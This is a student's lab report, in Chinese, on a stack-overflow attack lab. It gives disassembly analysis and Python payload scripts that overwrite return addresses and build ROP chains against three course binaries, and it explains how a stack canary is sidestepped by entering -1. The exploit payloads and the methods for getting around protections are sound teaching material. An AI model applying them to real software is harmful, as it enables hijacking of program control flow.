

栈溢出攻击实验

赵诗琪 2024200624

题目解决思路

Problem 1:

- 分析:

通过objdump -d problem1 > problem1.asm得到problem1的反汇编文件，分析知程序有一个func函数存在缓冲区溢出漏洞：

0000000000401232 :

```
401232: f3 0f 1e fa      endbr64
401236: 55              push  %rbp
401237: 48 89 e5        mov    %rsp,%rbp
40123a: 48 83 ec 20     sub    $0x20,%rsp
40123e: 48 89 7d e8     mov    %rdi,-0x18(%rbp)
401242: 48 8b 55 e8     mov    -0x18(%rbp),%rdx
401246: 48 8d 45 f8     lea    -0x8(%rbp),%rax
40124a: 48 89 d6        mov    %rdx,%rsi
40124d: 48 89 c7        mov    %rax,%rdi
401250: e8 5b fe ff ff  call   4010b0 strcpy@plt
```

1. 缓冲区分配了0x20 (32字节) 的栈空间
2. 局部变量rax的地址是-0x8(%rbp)，距离栈底rbp有8字节
3. strcpy函数没有长度限制，存在缓冲区溢出漏洞

目标函数func1的地址为0x401216，该函数会输出目标字符串

- 解决方案:

首先要计算填充长度：

1. 缓冲区大小：0x20 (32字节) 的栈空间，但局部变量从-0x8(%rbp)开始，所以实际可用空间为 $0x20 - 0x8 = 0x18$ (24字节)
2. 保存的rbp：8字节
3. 总填充长度： $0x18 + 0x8 = 0x20$ (32字节)

Payload设计 (Python代码) :

```
padding = b"A" * 32 # 填充缓冲区
func1_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00" # 0x401216 小端格式
payload = padding + func1_addr
with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans1.txt")
```

```
$ ./problem1 ans1.txt
```

- 结果: Welcome to problem1!

```
Yes! I like ICS!
```

Problem 2:

- 分析:

程序启用了NX保护，不能执行栈上的代码。从problem2.asm中可以看出：

1. func函数使用memcpy，但复制长度为0x38（56字节）

2. 存在一个有用的gadget pop_rdi函数：

```
00000000004012bb <pop_rdi>:  
4012bb: f3 0f 1e fa        endbr64  
4012bf: 55                 push %rbp  
4012c0: 48 89 e5         mov %rsp,%rbp  
4012c3: 48 89 7d f8        mov %rdi,-0x8(%rbp)  
4012c7: 5f                 pop %rdi  
4012c8: c3                 ret
```

3. 目标函数func2地址为0x401216，需要参数0x3f8

- 解决方案:

首先构造ROP链：

1. 计算填充：缓冲区大小 $0x20 - 0x8$ （局部变量位置）= $0x18$ （24字节）+ $0x8$ （saved rbp）= $0x20$ （32字节）

2. ROP链： $\text{pop_rdi} \rightarrow 0x3f8 \rightarrow \text{func2}$

Payload设计（Python代码）：

```
padding = b"A" * 32  
pop_rdi_addr = b"\xbb\x12\x40\x00\x00\x00\x00\x00" # 0x4012bb  
param = b"\xf8\x03\x00\x00\x00\x00\x00\x00"      # 0x3f8  
func2_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00" # 0x401216  
  
payload = padding + pop_rdi_addr + param + func2_addr  
  
with open("ans2.txt", "wb") as f:  
    f.write(payload)  
print("Payload written to ans2.txt")
```

```
$ ./problem2 ans2.txt
```

- 结果：Welcome to problem2!

```
Welcome to problem2!  
Yes! I like ICS!
```

Problem 3:

- 分析:

从problem3.asm可以看出，这是一个比problem2更复杂的ROP挑战：

1. func函数复制0x40（64字节）数据

2. 存在多个辅助函数：

```
mov_rdi (0x4012da): 将参数移到rdi并返回  
mov_rax (0x4012f1): 将参数移到rax并返回  
call_rax (0x401308): 调用rax指向的函数  
jmp_x (0x40131e): 跳转到参数地址  
jmp_xs (0x401334): 从保存的rsp跳转
```

3. 目标函数func1 (0x401216)需要参数0x72（114的ASCII）

4. jmp_xs函数使用了全局变量saved_rsp，可以用于链式调用

- **解决方案：**

构造复杂的ROP链来设置参数并调用func1：

1. 填充长度: 0x30 (栈空间) - 0x20 (局部变量位置) = 0x10 (16字节) + 0x8 (saved rbp) = 0x18 (24字节)

2. 使用mov_rdi设置参数，然后调用func1

Payload设计 (Python代码)：

```
padding = b"A" * 24
mov_rdi_addr = b"\xda\x12\x40\x00\x00\x00\x00\x00" # 0x4012da
param = b"\x72\x00\x00\x00\x00\x00\x00\x00"      # 0x72
func1_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00" # 0x401216

payload = padding + mov_rdi_addr + param + func1_addr

with open("ans3.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans3.txt")
```

```
$ ./problem3 ans3.txt
```

- 结果： Welcome to problem3!

```
Your lucky number is: 114
```

Problem 4:

- **分析：**体现canary的保护机制是什么

程序启用了Canary (栈保护) 机制，在caesar_decrypt和func函数中都有体现：

0000000000001209 <caesar_decrypt>:

```
1209: f3 0f 1e fa      endbr64
120d: 55              push %rbp
120e: 48 89 e5        mov %rsp,%rbp
1211: 48 83 ec 30     sub $0x30,%rsp
1215: 64 48 8b 04 25 28 00  mov %fs:0x28,%rax ;读取canary值
121c: 00 00
121e: 48 89 45 f8     mov %rax,-0x8(%rbp) ;保存到栈上
1222: 31 c0            xor %eax,%eax
...
1305: 90              nop
1306: 48 8b 45 f8     mov -0x8(%rbp),%rax ;读取栈上的canary
130a: 64 48 2b 04 25 28 00  sub %fs:0x28,%rax ;与原始值比较
1311: 00 00
1313: 74 05            je 131a <caesar_decrypt+0x111>
1315: e8 b6 fd ff ff   call 10d0 stack_chk_fail@plt;失败处理
```

Canary保护机制：

1. 在函数开始时，从fs:0x28读取一个随机值 (canary)
2. 将该值保存在栈上，位于缓冲区之后
3. 函数返回前，检查该值是否被修改
4. 如果被修改，调用_stack_chk_fail终止程序

- **解决方案：**

题目中提示"你真的需要写代码吗"，意味着不需要溢出攻击。通过分析func函数发现只需要输入-1 (0xffffffff) 即可通过检查，所以我们调用func1输出目标信息

输入设计：

-1

```
$ echo "-1" | ./problem4
Welcome to problem4!
Please input the first passcode:
• 结果: Please input the second passcode:
Please input the third passcode:
Congratulations! You've passed all checks!
Yes! I like ICS!
```

思考与总结

通过本次栈溢出攻击实验，我深入理解了：

1. 栈溢出基本原理：通过覆盖函数返回地址控制程序执行流，这是最基础的攻击方式。
2. NX保护与ROP技术：当栈不可执行时，需要利用程序已有的代码片段（gadgets）构造ROP链。关键技巧包括：寻找pop rdi、ret等参数设置gadgets；合理排列gadget链完成函数调用等。
3. 复杂ROP构造：Problem 3展示了更复杂的场景，需要理解x86-64调用约定，并利用多个辅助函数构建调用链。
4. Canary保护机制：Canary是一个随机值，放在栈上缓冲区之后，函数返回前检查canary是否被修改；绕过方法包括：信息泄露获取canary值、覆盖其他控制流、或如本题所示，通过正常逻辑绕过。
5. 防御措施的重要性：现代操作系统采用了多种防护机制（NX、ASLR、Canary等）；编写安全代码需要边界检查、使用安全函数、最小权限原则等；理解攻击手法有助于设计更好的防御策略。

此次attacklab实验非常有价值，将课上学习的理论结合上手实践，加深了我对计算机系统安全的理解，同时我更熟悉了objdump、gdb等工具的使用，学着分析程序漏洞，更重要的是加强培养了系统安全思维和问题解决能力。

参考资料

1. 《深入理解计算机系统》实验三Attack Lab - https://blog.csdn.net/weixin_43362650/article/details/120893992
2. 基本ROP讲解 - <https://zhuanlan.zhihu.com/p/137144976>
3. AI工具辅助讲解完成
4. 两种保护机制：NX和Canary - https://blog.csdn.net/weixin_46711318/article/details/107686188